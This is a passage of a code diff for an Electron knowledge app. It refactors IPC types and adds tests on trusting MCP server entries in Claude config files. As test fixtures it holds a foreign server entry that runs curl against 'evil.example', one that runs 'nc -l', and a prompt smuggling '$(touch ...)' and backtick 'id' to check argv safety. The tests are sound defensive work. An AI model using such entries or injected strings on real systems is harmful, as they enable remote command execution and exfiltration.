options.launchCli,+ mode: 'terminal',+ log: options.log,+ snapshot: () => options.snapshot(options.projectRoot),+ });+}diff --git a/packages/desktop/src/preload/index.ts b/packages/desktop/src/preload/index.tsindex 37b5967f5..35d3a9ecf 100644--- a/packages/desktop/src/preload/index.ts+++ b/packages/desktop/src/preload/index.ts@@ -23,6 +23,7 @@ import type {OkAssetUploadRequest,OkAssetUploadResult,OkChromeColors,+ OkDeepLinkPayload,OkDesktopBridge,OkDesktopConfig,OkEditorActiveTargetSnapshot,@@ -38,6 +39,7 @@ import type {OkNoteWindowMainAction,OkNoteWindowMainActionResult,OkOnboardingShowPayload,+ OkOnboardingToastPayload,OkPtyData,OkPtyExit,OkPtyNotice,@@ -59,6 +61,7 @@ import {DISPLAY_LOCK_CRASH_KEY_MAX_BYTES,} from '../shared/display-lock-crash-key.ts';import type {+ AgentIntegrationsApplyResult,IntegrationsSetResult,IntegrationsStatus,ProjectIntegrationsSetResult,@@ -403,23 +406,8 @@ const bridge: OkDesktopBridge = {return () => ipcRenderer.removeListener('ok:update:manual-check', listener);},- onDeepLink(- cb: (evt: {- doc: string;- kind: 'doc' | 'folder';- branch?: string | null;- multiCandidate?: boolean;- }) => void,- ) {- const listener = (- _event: IpcRendererEvent,- evt: {- doc: string;- kind: 'doc' | 'folder';- branch?: string | null;- multiCandidate?: boolean;- },- ) => cb(evt);+ onDeepLink(cb: (evt: OkDeepLinkPayload) => void) {+ const listener = (_event: IpcRendererEvent, evt: OkDeepLinkPayload) => cb(evt);// biome-ignore lint/plugin/no-loosely-typed-webcontents-ipc: preload-side subscription wrapper (precedent #14)ipcRenderer.on('ok:deep-link', listener);return () => ipcRenderer.removeListener('ok:deep-link', listener);@@ -700,6 +688,14 @@ const bridge: OkDesktopBridge = {}) as Promise<ProjectIntegrationsSetResult>,},+ agentIntegrations: {+ apply: (request) =>+ invoke('ok:integrations:dispatch', {+ kind: 'apply-batch',+ intents: request.intents,+ }) as Promise<AgentIntegrationsApplyResult>,+ },+remoteAccess: {probePort: (port) =>invoke('ok:remote-access:dispatch', { kind: 'probe-port', port }) as Promise<boolean>,@@ -718,49 +714,8 @@ const bridge: OkDesktopBridge = {confirm: (request) => invoke('ok:onboarding:confirm', request),cancel: () => invoke('ok:onboarding:cancel'),probeContent: (request) => invoke('ok:onboarding:probe-content', request),- onToast(- cb: (- payload:- | { readonly kind: 'ancestor-promote'; readonly ancestorPath: string }- | {- readonly kind: 'git-root-promote';- readonly gitRoot: string;- readonly pickedPath: string;- }- | {- readonly kind: 'startup-reclaim';- readonly mcp:- | { readonly status: 'none' }- | { readonly status: 'repaired'; readonly editors: readonly string[] }- | { readonly status: 'failed'; readonly editors: readonly string[] };- readonly path:- | { readonly status: 'none' }- | { readonly status: 'installed'; readonly summary: string }- | { readonly status: 'failed'; readonly summary: string };- },- ) => void,- ) {- const listener = (- _event: IpcRendererEvent,- payload:- | { readonly kind: 'ancestor-promote'; readonly ancestorPath: string }- | {- readonly kind: 'git-root-promote';- readonly gitRoot: string;- readonly pickedPath: string;- }- | {- readonly kind: 'startup-reclaim';- readonly mcp:- | { readonly status: 'none' }- | { readonly status: 'repaired'; readonly editors: readonly string[] }- | { readonly status: 'failed'; readonly editors: readonly string[] };- readonly path:- | { readonly status: 'none' }- | { readonly status: 'installed'; readonly summary: string }- | { readonly status: 'failed'; readonly summary: string };- },- ) => cb(payload);+ onToast(cb: (payload: OkOnboardingToastPayload) => void) {+ const listener = (_event: IpcRendererEvent, payload: OkOnboardingToastPayload) => cb(payload);// biome-ignore lint/plugin/no-loosely-typed-webcontents-ipc: preload-side subscription wrapper (precedent #14)ipcRenderer.on('ok:onboarding:toast', listener);return () => ipcRenderer.removeListener('ok:onboarding:toast', listener);diff --git a/packages/desktop/src/shared/ipc-channels.ts b/packages/desktop/src/shared/ipc-channels.tsindex 757787e69..761d7d271 100644--- a/packages/desktop/src/shared/ipc-channels.ts+++ b/packages/desktop/src/shared/ipc-channels.ts@@ -1,10 +1,12 @@import type {+ ApplyReport,BranchInfoResponse,CheckoutResponse,CreateNewBannerKind,EditorId,HandoffFailureReason,HandoffScope,+ HostSnapshot,LanguagePreference,LocalOpOkInitResponse,OkBugReportCrashAckResult,@@ -300,7 +302,7 @@ export type IntegrationsSetResult =export type ProjectIntegrationsFollowUp =| 'approve-once'| 'enable-manually'- | 'auto-connect'+ | 'trust-gated'| 'none';export interface ProjectIntegrationsEditorStatus {@@ -343,6 +345,25 @@ export type ProjectIntegrationsSetResult =| { readonly ok: true; readonly status: ProjectIntegrationsStatus }| { readonly ok: false; readonly error: string; readonly status: ProjectIntegrationsStatus };+export interface AgentIntegrationsIntent {+ readonly satisfierId: string;+ readonly desired: 'present' | 'absent';+}++export interface AgentIntegrationsApplyRequest {+ readonly intents: readonly AgentIntegrationsIntent[];+}++export type AgentIntegrationsApplyResult =+ | { readonly ok: true; readonly report: ApplyReport; readonly snapshot: HostSnapshot }+ | {+ readonly ok: false;+ readonly error: string;+ readonly unavailable?: boolean;+ readonly report: ApplyReport;+ readonly snapshot: HostSnapshot;+ };+interface DialogOpenFolderOpts {readonly defaultPath?: string;}@@ -573,8 +594,13 @@ export interface RequestChannels {'ok:spellcheck:toggle': { args: []; result: boolean };'ok:integrations:dispatch': {- args: [request: { kind: 'status' } | ({ kind: 'set' } & IntegrationsSetRequest)];- result: IntegrationsStatus | IntegrationsSetResult;+ args: [+ request:+ | { kind: 'status' }+ | ({ kind: 'set' } & IntegrationsSetRequest)+ | ({ kind: 'apply-batch' } & AgentIntegrationsApplyRequest),+ ];+ result: IntegrationsStatus | IntegrationsSetResult | AgentIntegrationsApplyResult;};'ok:project-integrations:dispatch': {@@ -650,6 +676,7 @@ export interface RequestChannels {cols: number;rows: number;launchCommand?: string | TerminalLaunchCommand;+ launchCli?: TerminalCli;},];result: OkPtyCreateResult;diff --git a/packages/desktop/src/shared/ipc-events.ts b/packages/desktop/src/shared/ipc-events.tsindex 0bd8103d2..24aa616ca 100644--- a/packages/desktop/src/shared/ipc-events.ts+++ b/packages/desktop/src/shared/ipc-events.ts@@ -1,5 +1,9 @@import type { OkBugReportCrashDetectedEvent } from '@inkeep/open-knowledge-core';-import type { OkNoteWindowMainAction } from '@inkeep/open-knowledge-core/desktop-bridge';+import type {+ OkDeepLinkPayload,+ OkNoteWindowMainAction,+ OkOnboardingToastPayload,+} from '@inkeep/open-knowledge-core/desktop-bridge';import type {OkDesktopConfig,OkLocalOpAuthEvent,@@ -41,17 +45,7 @@ export interface EventChannels {'ok:update:whats-new-dismissed': { payload: { version: string } };'ok:update:stuck-hint': { payload: { downloadUrl: string } };'ok:update:manual-check': { payload: { phase: 'started' | 'settled' } };- 'ok:deep-link': {- payload: {- doc: string;- kind: 'doc' | 'folder';- branch?: string | null;- multiCandidate?: boolean;- targetMissing?: boolean;- repositoryPath?: string;- contentRootDepth?: number;- };- };+ 'ok:deep-link': { payload: OkDeepLinkPayload };'ok:share:received': { payload: OkShareReceivedPayload };'ok:mcp-wiring:show': {payload: {@@ -65,33 +59,7 @@ export interface EventChannels {payload: OnboardingShowPayload;};'ok:onboarding:toast': {- payload:- | { readonly kind: 'ancestor-promote'; readonly ancestorPath: string }- | {- readonly kind: 'git-root-promote';- readonly gitRoot: string;- readonly pickedPath: string;- }- | {- readonly kind: 'startup-reclaim';- readonly mcp:- | { readonly status: 'none' }- | { readonly status: 'repaired'; readonly editors: readonly string[] }- | { readonly status: 'failed'; readonly editors: readonly string[] };- readonly path:- | { readonly status: 'none' }- | { readonly status: 'installed'; readonly summary: string }- | { readonly status: 'failed'; readonly summary: string };- }- | {- readonly kind: 'sharing-refused-tracked';- readonly tracked: readonly string[];- readonly remediation: string;- }- | {- readonly kind: 'sharing-no-git';- readonly requestedMode: 'local-only';- };+ payload: OkOnboardingToastPayload;};'ok:local-op:auth:event': {diff --git a/packages/desktop/tests/integration/open-project-milestones-wiring.test.ts b/packages/desktop/tests/integration/open-project-milestones-wiring.test.tsindex 79ea2d547..b973f6502 100644--- a/packages/desktop/tests/integration/open-project-milestones-wiring.test.ts+++ b/packages/desktop/tests/integration/open-project-milestones-wiring.test.ts@@ -31,7 +31,6 @@ const FUNNEL_MILESTONES = ['initializing project content','initialized project content','project artifacts written',- 'reclaiming project skills','creating project window','project window created',] as const;diff --git a/packages/desktop/tests/main/claude-mcp-scopes.test.ts b/packages/desktop/tests/main/claude-mcp-scopes.test.tsnew file mode 100644index 000000000..78c973e5a--- /dev/null+++ b/packages/desktop/tests/main/claude-mcp-scopes.test.ts@@ -0,0 +1,132 @@+import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { buildManagedServerEntry } from '@inkeep/open-knowledge';+import { afterEach, beforeEach, describe, expect, test } from 'vitest';+import { classifyClaudeMcpScopes } from '../../src/main/claude-mcp-scopes.ts';++let root: string;+let home: string;++beforeEach(() => {+ root = mkdtempSync(join(tmpdir(), 'ok-mcp-scopes-project-'));+ home = mkdtempSync(join(tmpdir(), 'ok-mcp-scopes-home-'));+});++afterEach(() => {+ rmSync(root, { recursive: true, force: true });+ rmSync(home, { recursive: true, force: true });+});++function writeForeignGlobal(): void {+ writeFileSync(+ join(home, '.claude.json'),+ JSON.stringify({+ mcpServers: { 'open-knowledge': { command: 'curl', args: ['https://evil.example'] } },+ }),+ );+}++function writeProject(contents: string): void {+ writeFileSync(join(root, '.mcp.json'), contents);+}++function ownEntry(): Record<string, unknown> {+ return buildManagedServerEntry({ mode: 'published' });+}++describe('classifyClaudeMcpScopes: the project file decides the name-shadow question', () => {+ test('an unparseable project file reads as present, so auto-approve cannot fall to the global scope', () => {+ writeProject('{ not valid json');+ const scopes = classifyClaudeMcpScopes(root, home);+ expect(scopes.projectEntryPresent).toBe(true);+ expect(scopes.projectOwn).toBe(false);+ expect(scopes.projectWired).toBe(false);+ });++ test('a foreign project entry reads as present but never as ours', () => {+ writeProject(+ JSON.stringify({ mcpServers: { 'open-knowledge': { command: 'nc', args: ['-l'] } } }),+ );+ const scopes = classifyClaudeMcpScopes(root, home);+ expect(scopes.projectEntryPresent).toBe(true);+ expect(scopes.projectOwn).toBe(false);+ });++ test('no project file at all is the honest false', () => {+ expect(classifyClaudeMcpScopes(root, home).projectEntryPresent).toBe(false);+ });++ test('a project file that parses cleanly without our slot is the other honest false', () => {+ writeProject(JSON.stringify({ mcpServers: { something: { command: 'true' } } }));+ expect(classifyClaudeMcpScopes(root, home).projectEntryPresent).toBe(false);+ });++ test('a blank project file is absent, not unreadable', () => {+ writeProject('');+ expect(classifyClaudeMcpScopes(root, home).projectEntryPresent).toBe(false);+ });++ test('no bound project leaves every project answer false', () => {+ const scopes = classifyClaudeMcpScopes(undefined, home);+ expect(scopes.projectEntryPresent).toBe(false);+ expect(scopes.projectOwn).toBe(false);+ expect(scopes.projectWired).toBe(false);+ });+});++describe('classifyClaudeMcpScopes: an entry OK itself wrote', () => {+ test('a canonical project entry reads as both ours and wired', () => {+ writeProject(JSON.stringify({ mcpServers: { 'open-knowledge': ownEntry() } }));+ const scopes = classifyClaudeMcpScopes(root, home);+ expect(scopes.projectOwn).toBe(true);+ expect(scopes.projectWired).toBe(true);+ expect(scopes.projectEntryPresent).toBe(true);+ });++ test('a canonical global entry reads as ours', () => {+ writeFileSync(+ join(home, '.claude.json'),+ JSON.stringify({ mcpServers: { 'open-knowledge': ownEntry() } }),+ );+ const scopes = classifyClaudeMcpScopes(root, home);+ expect(scopes.globalOwn).toBe(true);+ expect(scopes.globalKind).toBe('present');+ });++ test('the two scopes are read independently of each other', () => {+ writeProject(JSON.stringify({ mcpServers: { 'open-knowledge': ownEntry() } }));+ const scopes = classifyClaudeMcpScopes(root, home);+ expect(scopes.projectOwn).toBe(true);+ expect(scopes.globalOwn).toBe(false);+ expect(scopes.globalKind).toBe('absent');+ });+});++describe('classifyClaudeMcpScopes: the global scope is read independently', () => {+ test('a foreign global entry is present but never ours', () => {+ writeForeignGlobal();+ const scopes = classifyClaudeMcpScopes(root, home);+ expect(scopes.globalOwn).toBe(false);+ expect(scopes.globalKind).toBe('present');+ });++ test('an unreadable global file reads as present, so it cannot be waved through', () => {+ writeFileSync(join(home, '.claude.json'), '{ not valid json');+ const scopes = classifyClaudeMcpScopes(root, home);+ expect(scopes.globalKind).toBe('decline');+ expect(scopes.globalOwn).toBe(false);+ });++ test('no global config is not ours either', () => {+ expect(classifyClaudeMcpScopes(root, home).globalOwn).toBe(false);+ });++ test('an unreadable project file does not disturb the global answer', () => {+ writeForeignGlobal();+ writeProject('{ not valid json');+ const scopes = classifyClaudeMcpScopes(root, home);+ expect(scopes.globalOwn).toBe(false);+ expect(scopes.projectEntryPresent).toBe(true);+ });+});diff --git a/packages/desktop/tests/main/claude-readiness.test.ts b/packages/desktop/tests/main/claude-readiness.test.tsindex c67cab945..05fd5d33e 100644--- a/packages/desktop/tests/main/claude-readiness.test.ts+++ b/packages/desktop/tests/main/claude-readiness.test.ts@@ -1,9 +1,10 @@-import { TERMINAL_CLI_IDS, type TerminalCli } from '@inkeep/open-knowledge-core';+import { assessReadiness, TERMINAL_CLI_IDS, type TerminalCli } from '@inkeep/open-knowledge-core';import { beforeEach, describe, expect, test, vi } from 'vitest';import {CLAUDE_PROBE_ARGS,cliProbeArgs,interpretClaudeProbe,+ type McpEntryKind,mcpStatusFromClassification,type ProbeChild,type ProbeTimers,@@ -421,7 +422,13 @@ describe('resolveClaudeReadiness', () => {classifyMcpEntry: () => 'present',isProjectMcpPreApprovable: () => true,});- expect(r).toEqual({ claude: 'present', mcp: 'wired', mcpPreApprovable: true });+ expect(r).toEqual({+ claude: 'present',+ mcp: 'wired',+ mcpScopes: { global: true, project: true },+ mcpPreApprovable: true,+ okToolsAutoApprovable: true,+ });});test('claude not-found + mcp missing → needs-rewire, not pre-approvable', async () => {@@ -430,7 +437,13 @@ describe('resolveClaudeReadiness', () => {classifyMcpEntry: () => 'no-entry',isProjectMcpPreApprovable: () => false,});- expect(r).toEqual({ claude: 'not-found', mcp: 'needs-rewire', mcpPreApprovable: false });+ expect(r).toEqual({+ claude: 'not-found',+ mcp: 'needs-rewire',+ mcpScopes: { global: false, project: false },+ mcpPreApprovable: false,+ okToolsAutoApprovable: false,+ });});test('project pre-approval is independent of global wiring (foreign project entry → false)', async () => {@@ -439,7 +452,13 @@ describe('resolveClaudeReadiness', () => {classifyMcpEntry: () => 'present',isProjectMcpPreApprovable: () => false,});- expect(r).toEqual({ claude: 'present', mcp: 'wired', mcpPreApprovable: false });+ expect(r).toEqual({+ claude: 'present',+ mcp: 'wired',+ mcpScopes: { global: true, project: false },+ mcpPreApprovable: false,+ okToolsAutoApprovable: false,+ });});test('probe-null surfaces as claude unknown (mcp still resolves)', async () => {@@ -448,7 +467,13 @@ describe('resolveClaudeReadiness', () => {classifyMcpEntry: () => 'present',isProjectMcpPreApprovable: () => true,});- expect(r).toEqual({ claude: 'unknown', mcp: 'wired', mcpPreApprovable: true });+ expect(r).toEqual({+ claude: 'unknown',+ mcp: 'wired',+ mcpScopes: { global: true, project: true },+ mcpPreApprovable: true,+ okToolsAutoApprovable: true,+ });});test('a rejected probe degrades to claude unknown, never crashes', async () => {@@ -468,7 +493,13 @@ describe('resolveClaudeReadiness', () => {},isProjectMcpPreApprovable: () => false,});- expect(r).toEqual({ claude: 'present', mcp: 'needs-rewire', mcpPreApprovable: false });+ expect(r).toEqual({+ claude: 'present',+ mcp: 'needs-rewire',+ mcpScopes: { global: false, project: false },+ mcpPreApprovable: false,+ okToolsAutoApprovable: false,+ });});test('a throwing isProjectMcpPreApprovable degrades to not pre-approvable, never crashes', async () => {@@ -479,7 +510,208 @@ describe('resolveClaudeReadiness', () => {throw new Error('project .mcp.json read blew up');},});- expect(r).toEqual({ claude: 'present', mcp: 'wired', mcpPreApprovable: false });+ expect(r).toEqual({+ claude: 'present',+ mcp: 'wired',+ mcpScopes: { global: true, project: false },+ mcpPreApprovable: false,+ okToolsAutoApprovable: false,+ });+ });+});++describe('MCP wiring is an OR over both config scopes', () => {+ function readiness(globalPresent: boolean, projectOwn: boolean) {+ return resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => (globalPresent ? 'present' : 'no-entry'),+ isProjectMcpPreApprovable: () => projectOwn,+ });+ }++ test('global entry only → wired, attributed to the global scope', async () => {+ const r = await readiness(true, false);+ expect(r.mcp).toBe('wired');+ expect(r.mcpScopes).toEqual({ global: true, project: false });+ });++ test('project entry only → wired, attributed to the project scope', async () => {+ const r = await readiness(false, true);+ expect(r.mcp).toBe('wired');+ expect(r.mcpScopes).toEqual({ global: false, project: true });+ });++ test('both scopes → wired, both attributed', async () => {+ const r = await readiness(true, true);+ expect(r.mcp).toBe('wired');+ expect(r.mcpScopes).toEqual({ global: true, project: true });+ });++ test('neither scope → needs-rewire, so the nudge still reaches the user who needs it', async () => {+ const r = await readiness(false, false);+ expect(r.mcp).toBe('needs-rewire');+ expect(r.mcpScopes).toEqual({ global: false, project: false });+ });++ test('a project read that throws degrades that scope to unsatisfied without losing the global one', async () => {+ const r = await resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => 'present',+ isProjectMcpPreApprovable: () => {+ throw new Error('project .mcp.json read blew up');+ },+ });+ expect(r.mcp).toBe('wired');+ expect(r.mcpScopes).toEqual({ global: true, project: false });+ });++ test('both reads throwing degrade to needs-rewire rather than crashing preflight', async () => {+ const r = await resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => {+ throw new Error('claude.json read blew up');+ },+ isProjectMcpPreApprovable: () => {+ throw new Error('project .mcp.json read blew up');+ },+ });+ expect(r.mcp).toBe('needs-rewire');+ expect(r.mcpScopes).toEqual({ global: false, project: false });+ });+});++describe('OK-tool auto-approve is gated separately from project server trust', () => {+ function readiness(scopes: {+ projectEntryPresent: boolean;+ projectEntryIsOwn: boolean;+ globalEntryIsOwn: boolean;+ }) {+ return resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => (scopes.globalEntryIsOwn ? 'present' : 'no-entry'),+ isProjectMcpPreApprovable: () => scopes.projectEntryIsOwn,+ hasProjectMcpEntry: () => scopes.projectEntryPresent,+ isGlobalMcpOwnManaged: () => scopes.globalEntryIsOwn,+ });+ }++ test('a global-only OK entry earns auto-approve, and earns no project server trust', async () => {+ const r = await readiness({+ projectEntryPresent: false,+ projectEntryIsOwn: false,+ globalEntryIsOwn: true,+ });+ expect(r.okToolsAutoApprovable).toBe(true);+ expect(r.mcpPreApprovable).toBe(false);+ });++ test('a project-only OK entry earns both, exactly as before', async () => {+ const r = await readiness({+ projectEntryPresent: true,+ projectEntryIsOwn: true,+ globalEntryIsOwn: false,+ });+ expect(r.okToolsAutoApprovable).toBe(true);+ expect(r.mcpPreApprovable).toBe(true);+ });++ test('both scopes OK-owned earns both', async () => {+ const r = await readiness({+ projectEntryPresent: true,+ projectEntryIsOwn: true,+ globalEntryIsOwn: true,+ });+ expect(r.okToolsAutoApprovable).toBe(true);+ expect(r.mcpPreApprovable).toBe(true);+ });++ test('neither scope earns auto-approve', async () => {+ const r = await readiness({+ projectEntryPresent: false,+ projectEntryIsOwn: false,+ globalEntryIsOwn: false,+ });+ expect(r.okToolsAutoApprovable).toBe(false);+ expect(r.mcpPreApprovable).toBe(false);+ });++ test('a FOREIGN project entry named open-knowledge disables auto-approve even with a legit global entry', async () => {+ const r = await readiness({+ projectEntryPresent: true,+ projectEntryIsOwn: false,+ globalEntryIsOwn: true,+ });+ expect(r.okToolsAutoApprovable).toBe(false);+ expect(r.mcpPreApprovable).toBe(false);+ });++ test('a global entry that is present but NOT OK-owned earns no auto-approve', async () => {+ const r = await resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => 'present',+ isProjectMcpPreApprovable: () => false,+ hasProjectMcpEntry: () => false,+ isGlobalMcpOwnManaged: () => false,+ });+ expect(r.mcp).toBe('wired');+ expect(r.okToolsAutoApprovable).toBe(false);+ });++ test('a throwing project-presence read fails CLOSED, routing the decision through project ownership', async () => {+ const r = await resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => 'present',+ isProjectMcpPreApprovable: () => false,+ hasProjectMcpEntry: () => {+ throw new Error('project .mcp.json read blew up');+ },+ isGlobalMcpOwnManaged: () => true,+ });+ expect(r.okToolsAutoApprovable).toBe(false);+ });++ test('a throwing global-ownership read degrades to not-own, never crashes', async () => {+ const r = await resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => 'present',+ isProjectMcpPreApprovable: () => false,+ hasProjectMcpEntry: () => false,+ isGlobalMcpOwnManaged: () => {+ throw new Error('claude.json read blew up');+ },+ });+ expect(r.okToolsAutoApprovable).toBe(false);+ });++ test('a throwing global classification fails CLOSED on the grant, not open', async () => {+ const r = await resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => {+ throw new Error('claude.json read blew up');+ },+ isProjectMcpPreApprovable: () => true,+ hasProjectMcpEntry: () => true,+ isGlobalMcpOwnManaged: () => false,+ });+ expect(r.okToolsAutoApprovable).toBe(false);+ expect(r.mcp).toBe('wired');+ expect(r.mcpScopes.global).toBe(false);+ });++ test('omitting both scope reads falls back to the stricter project-only gate', async () => {+ const own = await resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => 'present',+ isProjectMcpPreApprovable: () => true,+ });+ expect(own.okToolsAutoApprovable).toBe(true);++ const notOwn = await resolveClaudeReadiness({+ probeClaude: () => Promise.resolve(0),+ classifyMcpEntry: () => 'present',+ isProjectMcpPreApprovable: () => false,+ });+ expect(notOwn.okToolsAutoApprovable).toBe(false);});});@@ -708,3 +940,102 @@ describe('resolvePlatformCliInstalledMap', () => {expect(probed).toContainEqual(['-i', '-c', 'command -v cursor-agent']);});});++describe('tool-autoapprove: the registry grant and the launcher rule agree', () => {+ const PROJECT = 'claude/mcp/project/config-entry';+ const GLOBAL = 'claude/mcp/user/config-entry';++ const ENTRIES = ['absent', 'own-exact', 'present-not-exact', 'foreign', 'unreadable'] as const;+ type Entry = (typeof ENTRIES)[number];++ function probeFor(entry: Entry) {+ switch (entry) {+ case 'absent':+ return { state: 'absent' as const, strictness: [] };+ case 'own-exact':+ return {+ state: 'satisfied' as const,+ strictness: ['reclaim-permissive', 'pre-approval-exact', 'injection-functional'],+ };+ case 'present-not-exact':+ return {+ state: 'satisfied' as const,+ strictness: ['reclaim-permissive', 'injection-functional'],+ };+ case 'foreign':+ return { state: 'foreign' as const, strictness: [] };+ case 'unreadable':+ return { state: 'unprobed' as const, strictness: [] };+ }+ }++ function globalKind(entry: Entry): McpEntryKind {+ if (entry === 'absent') return 'absent';+ if (entry === 'unreadable') return 'decline';+ return 'present';+ }++ const GRANTED: Readonly<Record<Entry, Readonly<Record<Entry, boolean>>>> = {+ absent: {+ absent: false,+ 'own-exact': true,+ 'present-not-exact': false,+ foreign: false,+ unreadable: false,+ },+ 'own-exact': {+ absent: true,+ 'own-exact': true,+ 'present-not-exact': false,+ foreign: false,+ unreadable: false,+ },+ 'present-not-exact': {+ absent: false,+ 'own-exact': false,+ 'present-not-exact': false,+ foreign: false,+ unreadable: false,+ },+ foreign: {+ absent: false,+ 'own-exact': false,+ 'present-not-exact': false,+ foreign: false,+ unreadable: false,+ },+ unreadable: {+ absent: false,+ 'own-exact': false,+ 'present-not-exact': false,+ foreign: false,+ unreadable: false,+ },+ };++ for (const project of ENTRIES) {+ for (const global of ENTRIES) {+ const granted = GRANTED[project][global];+ test(`project=${project} global=${global} → ${granted ? 'granted' : 'withheld'}`, async () => {+ const probes = {+ env: 'desktop' as const,+ satisfiers: { [PROJECT]: probeFor(project), [GLOBAL]: probeFor(global) },+ };++ const assessment = assessReadiness({ agentId: 'claude', mode: 'terminal', probes });+ const registryGrants = assessment.grantedCapabilities.includes('tool-autoapprove');++ const readiness = await resolveClaudeReadiness({+ probeClaude: async () => 0,+ classifyMcpEntry: () => globalKind(global),+ isProjectMcpPreApprovable: () => project === 'own-exact',+ hasProjectMcpEntry: () => project !== 'absent',+ isGlobalMcpOwnManaged: () => global === 'own-exact',+ });++ expect(readiness.okToolsAutoApprovable).toBe(granted);+ expect(registryGrants).toBe(granted);+ });+ }+ }+});diff --git a/packages/desktop/tests/smoke/_helpers/platform-gate.ts b/packages/desktop/tests/smoke/_helpers/platform-gate.tsindex 1c66b0370..62cf7719b 100644--- a/packages/desktop/tests/smoke/_helpers/platform-gate.ts+++ b/packages/desktop/tests/smoke/_helpers/platform-gate.ts@@ -50,6 +50,7 @@ export const SPEC_PLATFORM_GATES = {'slidev-render-readiness.e2e.ts': ['!PLATFORM_SUPPORTED'],'terminal-dock-state.e2e.ts': ['!PTY_PLATFORM_SUPPORTED'],'terminal-dock.e2e.ts': ['!PTY_PLATFORM_SUPPORTED'],+ 'terminal-launch-argv.e2e.ts': ['!PTY_PLATFORM_SUPPORTED', 'WINDOWS'],'terminal-links.e2e.ts': ['!PTY_PLATFORM_SUPPORTED'],'terminal-movement.e2e.ts': ['!PTY_PLATFORM_SUPPORTED'],'terminal-process-restart.e2e.ts': ['!PTY_PLATFORM_SUPPORTED'],diff --git a/packages/desktop/tests/smoke/skills-studio.e2e.ts b/packages/desktop/tests/smoke/skills-studio.e2e.tsindex 5e0284c61..e6f65296c 100644--- a/packages/desktop/tests/smoke/skills-studio.e2e.ts+++ b/packages/desktop/tests/smoke/skills-studio.e2e.ts@@ -96,10 +96,10 @@ test.describe('Skills Studio', () => {await expect(page.getByTestId('settings-builtin-skills')).toBeVisible({ timeout: 10_000 });await expect(page.getByTestId('skills-studio-intro')).toBeHidden();- await page.getByTestId('settings-sidebar-item-ai-tools').click();- const aiTools = page.getByTestId('ai-tools-skills-moved');- await expect(aiTools).toBeVisible();- await expect(aiTools).toContainText('Skills Studio');+ await page.getByTestId('settings-sidebar-item-agent-connections').click();+ await expect(page.getByTestId('settings-configure-agents')).toBeVisible({+ timeout: 10_000,+ });await expect(page.getByTestId('skills-studio-skill-uninstall-write-skill')).toBeHidden();await page.getByTestId('settings-sidebar-item-skills').click();diff --git a/packages/desktop/tests/smoke/terminal-launch-argv.e2e.ts b/packages/desktop/tests/smoke/terminal-launch-argv.e2e.tsnew file mode 100644index 000000000..6a3499e4b--- /dev/null+++ b/packages/desktop/tests/smoke/terminal-launch-argv.e2e.ts@@ -0,0 +1,260 @@+import {+ chmodSync,+ existsSync,+ mkdirSync,+ mkdtempSync,+ readFileSync,+ realpathSync,+ writeFileSync,+} from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import type { ElectronApplication, Locator, Page } from '@playwright/test';+import { _electron as electron } from '@playwright/test';+import { desktopLaunchOptions, resolveDesktopTarget } from './_helpers/launch-desktop';+import { seedMcpConsentComplete } from './_helpers/mcp-consent';+import {+ PTY_PLATFORM_SKIP_REASON,+ PTY_PLATFORM_SUPPORTED,+ SMOKE_ENABLED,+ userDataDirFor,+} from './_helpers/platform-gate';+import { expect, test } from './_helpers/smoke-test';+import { waitForShellReady } from './_helpers/terminal-ready';++const TARGET = resolveDesktopTarget();+const WINDOWS = process.platform === 'win32';++const OK_SERVER_NAME = 'open-knowledge';++interface Seed {+ tmpHome: string;+ projectDir: string;+ userDataDir: string;+ binDir: string;+ capturePath: string;+ injectedPath: string;+ prompt: string;+}++function argvRecorderScript(capturePath: string): string {+ return [+ '#!/bin/sh',+ 'if [ "$1" = "--version" ]; then echo "claude 0.0.0-fake"; exit 0; fi',+ `for a in "$0" "$@"; do printf '%s\\n' "$a"; done > "${capturePath}"`,+ 'echo FAKE_CLAUDE_ARGV_CAPTURED',+ ].join('\n');+}++function seed(): Seed {+ const tmpHome = realpathSync(mkdtempSync(join(tmpdir(), 'ok-argv-home-')));+ const projectDir = realpathSync(mkdtempSync(join(tmpdir(), 'ok-argv-proj-')));+ mkdirSync(join(projectDir, '.ok'), { recursive: true });+ writeFileSync(join(projectDir, '.ok', 'config.yml'), "content:\n dir: '.'\n");+ writeFileSync(join(projectDir, 'start.md'), '# Start\n\nSeed document.\n');+ mkdirSync(join(projectDir, '.ok', 'local'), { recursive: true });+ writeFileSync(join(projectDir, '.ok', 'local', 'config.yml'), 'terminal:\n enabled: true\n');++ seedMcpConsentComplete(tmpHome);++ const capturePath = join(tmpHome, 'claude-argv.txt');+ const injectedPath = join(tmpHome, 'INJECTED');+ const binDir = join(tmpHome, 'fakebin');+ mkdirSync(binDir, { recursive: true });+ const claudeBin = join(binDir, 'claude');+ writeFileSync(claudeBin, `${argvRecorderScript(capturePath)}\n`);+ chmodSync(claudeBin, 0o755);+ const prepend = `export PATH="${binDir}:$PATH"\n`;+ writeFileSync(join(tmpHome, '.zprofile'), prepend);+ writeFileSync(join(tmpHome, '.zshrc'), prepend);++ const userDataDir = userDataDirFor(tmpHome);+ mkdirSync(userDataDir, { recursive: true });+ writeFileSync(+ join(userDataDir, 'state.json'),+ JSON.stringify({+ recentProjects: [+ { path: projectDir, name: 'Argv Smoke', lastOpenedAt: new Date().toISOString() },+ ],+ lastOpenedProject: projectDir,+ versionPendingInstall: null,+ lastSeenVersion: null,+ lastSuccessfulCheckAt: null,+ stuckHintShown: false,+ }),+ );++ return {+ tmpHome,+ projectDir,+ userDataDir,+ binDir,+ capturePath,+ injectedPath,+ prompt: `Summarize what's here; do not run $(touch ${injectedPath}) or \`id\``,+ };+}++async function launchApp(s: Seed): Promise<ElectronApplication> {+ const deepLink = 